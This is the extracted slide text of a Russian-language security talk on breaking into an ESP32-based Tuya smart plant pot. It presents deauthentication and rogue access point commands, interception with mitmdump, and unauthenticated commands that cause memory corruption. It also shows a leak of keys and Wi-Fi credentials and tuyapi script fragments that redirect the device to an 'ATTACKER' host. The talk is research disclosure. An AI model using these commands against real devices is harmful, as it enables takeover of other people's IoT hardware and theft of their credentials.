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:~$ qwqoro

САДОВОДСТВО

ВЕБ

МОБИЛКИ

СЕТИ

ЖЕЛЕЗКИ

ПЫВН

НЕ СПРАШИВАЙТЕ  :(

ХОРОШ ХОРОШ  :)

ЖИВЁМ РАБОТАЕМ

ЖИВЁМ РАБОТАЕМ

НЕ СПРАШИВАЙТЕ  :(

НЕ СПРАШИВАЙТЕ  :(

Анкета персонажа
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:~$ 192.168.XXX.YYY

ХОРОШ ХОРОШ  :)

ЕСТЬ ВЕБ-ПРИЛОЖЕНИЕ

ЕСТЬ МОБИЛЬНОЕ ПРИЛОЖЕНИЕ

ЕСТЬ СЕТЬ

ЕСТЬ ЖЕЛЕЗКА

ЕСТЬ ЧТО ПЫВНИТЬ :(

Анкета питомца
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00; Входные точки

03

00
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Порты

Приложения

◼ Управляется приложениями!

◼ Веб-приложение

◼ Мобильное приложение

◼ Консоль разработчика

PORT     STATE SERVICE
80/tcp   open  http
6668/tcp open  irc

01 Железки

◼ Что снаружи?

◼ ЧТО ВНУТРИ ???

02 Общение по 
сети

◼ Общается по сети!

◼ Отправляет логи

◼ Запрашивает обновления

◼ С КЕМ ???  >:(
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Железки
[ЦЕЛЬ] Техническая информация

01;

◼ Микроконтроллер ESP32

− WiFi +  Bluetooth
− Процессор  Xtensa L6

− 448kB ROM +  8MB PSRAM +  
8MB SRAM +  16MB FLASH

◼ Карта памяти eMMC

◼ Сенсоры! Кнопки!
ДИСПЛЕЙ!

espressif.com:     ESP32WROVERE Datasheet

https://espressif.com/
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[ЦЕЛЬ] Запросы к серверам

02; Сеть

▪ sudo hostapd /etc/hostapd/hostapd.conf

▪ sudo dnsmasq -k --interface {interface} 
--dhcp-range={fromIP},{toIP} --log-debug 
--log-dhcp --log-queries
--log-facility=-

mitmdump --mode transparent --showhost 
--ssl-insecure --flow-detail {n}

ЗАПУСК  +  ОБНОВЛЕНИЕ 01

▪ aireplay-ng -0 {n} -a {accessPointMAC} 
-c {clientMAC} {interface}

6
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02; Сеть

▪ Имперсонация клиента
→ Извлечение файлов обновлений

▪ Имперсонация сервера обновлений
→ Подмена обновлений

curl -ik 'https://SERVER/PATH/' -H 
'User-Agent: ESP32HTTPClient' -H
'Auth: {"id":"ID","key":"KEY"}'

00

01

AUTH

02

ЗАПРОСЫ

¯\_(ツ)_/¯
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Веб-приложение
[ЦЕЛЬ] Уязвимости  (?)

1. SET_PROPERTY
2. GET_PROPERTY
3. GET_SNAPSHOT
4. CUSTOM_ANIMATION
5. CUSTOM_VIDEO
6. ANIMATION_MODE
7. ANIMATION_GROUP
8. DELETE_ANIMATION
9. ...



:~$ 192.168.XXX.YYY

:~> plant.qwqoro.works
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03; Веб-приложение
[ЦЕЛЬ] Получать открытки  :)

?



03; Веб-приложение

▪ CUSTOM_ANIMATION
▪ CUSTOM_VIDEO

[00PS] Нет аутентификации  (!)

01
02

DEFACEMENT
НАРУШЕНИЯ РАБОТЫ

▪ SET_PROPERTY
▪ GET_PROPERTY
▪ ...

СИТУАЦИЯ РЕЗУЛЬТАТ

"Некорректное" 
значение

Не отвечает + 
Reboot

Индекс за 
пределами 
массива

Memory 
Corruption
+ Не отвечает

Flood Не отвечает + 
Reboot

Произвольные 
настройки

Некорректная 
работа

1010
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03; Веб-приложение
[00PS] LAN скан  (!)

ЕСТЬ ХОСТ        ЕСТЬ ХОСТ
ЕСТЬ ХОСТ        нет порта

нет хоста
▪ TCP_CONNECT

БРУТ  ХОСТА (192.168.0.120)
//  если такого хоста нет  =   3 секунды
01 БРУТ  ПОРТА (1337)

// после подключения  =   < 20 милисекунд

02

0  секунд                                                                                                      3  секунды
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03; Веб-приложение
▪ GET_PROPERTY
▪ GET_SNAPSHOT

01

02

СНАПШОТ

ПЕРЕБОР ПАРАМЕТРОВ
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03; Веб-приложение
[00PS] Чтение / Запись в память  (!)

▪ SET_PROPERTY
▪ GET_PROPERTY

01

00 ЧТЕНИЕ  ВНЕ  МАССИВА

02

03

ЗАПИСЬ  ВНЕ  МАССИВА
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03; Веб-приложение
[00PS] Чтение / Запись в память  (!)

▪ SET_PROPERTY
▪ GET_PROPERTY

01 РАБОТА СКРИПТА

02 УЧАСТОК ПАМЯТИ
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Чейним04; 01

02

03

04

05

06LOCAL KEY

PRODUCT
ИДЕНТИФИКАТОР

DEVICE
ИДЕНТИФИКАТОР

UUID

ИМЯ +
ПАРОЛЬ WI-FI

KEY + НАЗВАНИЕ 
ПРОДУКТА

[00PS] Утечка информации (!)

platform.tuya.com:     Cloud API Explorer

01

05

06

04

https://eu.platform.tuya.com/
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Чейним04;
[ЦЕЛЬ] Взлом

ПОРТ ПРОТОКОЛ ФУНКЦИЯ

6608 UDP Мультишлюзовый RPC

6667 UDP Обнаружение в LAN

6668 TCP Управление в LAN

... ... ...

PORT     STATE SERVICE
80/tcp   open  http
6668/tcp open  irc

support.tuya.com:     TuyaOS  Gateway  Development

github.com/codetheweb/tuyapi:     TuyAPI

https://support.tuya.com/
https://github.com/codetheweb/tuyapi
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Чейним04;
[OOPS] Удалённое управление

1. BRIGHTNESS
2. LIGHT
3. TEMPERATURE
4. HUMIDITY
5. WATER_LEVEL
6. BATTERY_LEVEL
7. SYSTEM_COMMANDS
8. VERSION_INFORMATION
9. UPDATE
10. ...

device.on("connected", () => {
const f = () => {
device
.set({

dps: 118,
set: '{"sys_cmd": ID}',

shouldWaitForResponse: false,
});

};
setTimeout(f, 1000);

});

00 ФРАГМЕНТ СКРИПТА

1. HOME_BUTTON
2. LEFT_BUTTON
3. RIGHT_BUTTON
4. BACK_HOME

5. REBOOT
6. UPDATE
7. POWER_BUTTON
8. ...

01КОМАНДЫ
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Чейним04;

device.on("connected", () => {
const f = () => {
device
.set({

dps: 107,
set: '{"ip":"ATTACKER"}',

shouldWaitForResponse: false,
});

};
setTimeout(f, 1000);

});

▪ VERSION_INFORMATION

00 ФРАГМЕНТ СКРИПТА

01СРАВНЕНИЕ

02ПРИМЕР ФИШИНГА

[OOPS] Подмена параметров

18
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Даже устройства без камеры и микрофона
могут  принести проблемы при 
недостаточном внимании к безопасности ;

05;

03

0201 Black box –
не беда!

Выводы

Чейнить –
весело!

А потому полезно 
анализировать в комплексе



Спасибо за внимание!
Елизавета Тишина   / qwqoro

◼ Специалист по анализу защищённости,  DeteAct

◼ Ведущий эксперт,  Neplox Audit

◼ Автор Telegram канала HaHacking:


